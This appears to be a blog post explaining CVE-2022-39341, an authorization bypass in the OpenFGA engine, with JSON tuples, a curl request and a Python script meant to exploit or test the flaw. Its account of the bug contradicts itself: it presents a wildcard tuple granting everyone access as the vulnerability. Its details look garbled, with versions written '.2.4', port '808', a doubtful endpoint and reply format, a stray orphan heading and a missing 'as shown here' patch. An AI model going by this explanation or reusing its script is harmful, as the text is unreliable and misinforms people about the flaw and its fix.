OpenFGA is a flexible authorization engine that's becoming popular for building fine-grained access controls in apps. But if you used it before version .2.4, you might have a major security issue thanks to CVE-2022-39341: an authorization bypass that attackers could use to do things they shouldn’t.
Let's break down how this works, where the dangerous code is, and how someone could actually exploit it.
What is CVE-2022-39341?
The vulnerability is an authorization bypass in OpenFGA. In certain authorization models, OpenFGA lets people access resources they shouldn’t if you used the * wildcard operator in your relations. Versions before .2.4 are affected. If you defined relations like viewer: * inside your model, your app was probably at risk.
How Does the Wildcard Authorization Work in OpenFGA?
OpenFGA lets you define permissions in a flexible way. You might set rules like this (in simplified FGA notation):
type document
relations
define viewer: [user, group#member, *]
Here, * means *anyone* can be a viewer. That’s already risky — but it gets much worse.
The Heart of the Bug
Before v.2.4, OpenFGA failed to check the context correctly if a tuple containing a wildcard in the relation existed. This meant that an attacker didn't have to be explicitly listed as a viewer; as long as there was a wildcard somewhere, they got in.
A dangerous example in JSON
[
{
"object": "document:confidential_report",
"relation": "viewer",
"user": "*"
}
]
This says "ANYONE can view confidential_report." If someone knows the key (document ID), they can access it. The bug: OpenFGA didn't enforce additional checks when * was present.
Exploit: How an Attacker Could Use CVE-2022-39341
Say you run a SaaS that uses OpenFGA. You have documents, and you want to allow special groups to view certain docs. Someone, somewhere along the way, adds a tuple like this by mistake:
{
"object": "document:payroll",
"relation": "viewer",
"user": "*"
}
Now, anyone can list themselves as the user and access the sensitive payroll document—even random users who are not supposed to have access.
Here’s a simulated API call an attacker would make to view the document
curl -X POST https://your-openfga-server/authorize \
-d '{
"user": "user:evil_attacker",
"relation": "viewer",
"object": "document:payroll"
}'
And OpenFGA replies: ALLOW! 😱
Here is a Python script to test this bug (works on affected OpenFGA versions)
import requests
# Change URL to your OpenFGA endpoint
url = "http://localhost:808/authorize";
payload = {
"user": "user:attacker",
"relation": "viewer",
"object": "document:secret_2023_report"
}
resp = requests.post(url, json=payload)
print(resp.json())
If you have a tuple for "user": "*" on the document, this will print {"authorization": "ALLOW"}. That means ANY input user wins unrestricted access.
Applications with per-resource permissions and inherited relations
## How to Fix/Protect Yourself
1. Update Immediately: Upgrade to OpenFGA v.2.4 or later — the issue is patched as shown here.
2. Audit Your Auth Model: Check all your relations for the wildcard operator. Remove wildcards unless absolutely required.
References and Further Reading
- GitHub Security Advisory for OpenFGA
- NIST CVE Record for CVE-2022-39341
- OpenFGA Repo
Recap
CVE-2022-39341: If you used wildcards in your OpenFGA tuplesets, you might have let anyone view or use protected resources. Upgrade to v.2.4 right now, and check your models for risky wildcards. Security matters — especially in permissions engines!
*Stay safe and double-check your access controls!*
Timeline
Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/26/2022 00:51:00 UTC